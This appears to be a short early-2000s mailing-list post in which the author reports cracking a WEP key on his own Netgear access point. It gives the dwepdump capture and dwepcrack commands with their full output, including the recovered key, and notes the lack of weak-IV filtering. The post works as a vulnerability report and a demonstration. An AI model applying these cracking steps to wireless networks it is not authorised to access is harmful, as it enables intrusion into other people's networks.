dwepcrack DOES !!

Finally, I've been able to crack some WEP keys. Took capturing 65mb of
traffic using dwepdump and then thirty seconds with dwepcrack to come up
with the key.

I used a netgear ME102 access point with a netgear MA401 client pc card.
Copying a 64mb file in a continuous loop for about 24 hours.

So based on my experience so far I would assume that this Netgear
equipment is not doing weak iv filtering. It looks like it took just about
a million packets to get enough weak iv's.

tye


# ./dwepcrack -w -f4 /usr/local/sbin/netgear1

* dwepcrack v0.4 by h1kari <[email protected]> *
* Copyright (c) Dachb0den Labs 2002 [http://dachb0den.com] *

reading in captured ivs, snap headers, and samples... done
total packets: 59077

calculating ksa probabilities...
 0: 33/768 keys (!)
 1: 6069/131328 keys (!)
 2: 6018/197376 keys (!)
 3: 3037/197120 keys (!)
 4: 2991/328703 keys (!)

(!) insufficient ivs, must have > 60 for each key (!)
(!) probability of success for each key with (!) < 0.5 (!)

warming up the grinder...
 packet length: 44
 init vector: 19:e8:69
 default tx key: 0

progress:
......................................................................
................................................................................
................................................................................
......................................................................

wep keys successfully cracked!
 0: c8:ae:47:11:a3 *
done.

#

# dwepdump -w wi0 netgear1

* dwepdump v0.2 by h1kari <[email protected]> *
* Copyright (c) Dachb0den Labs 2002 [http://dachb0den.com] *

starting pcap capture loop...
 device: wi0
 logfile: netgear1

0.31 1:2436 2:35c4 :: 1158813

stopping pcap capture loop...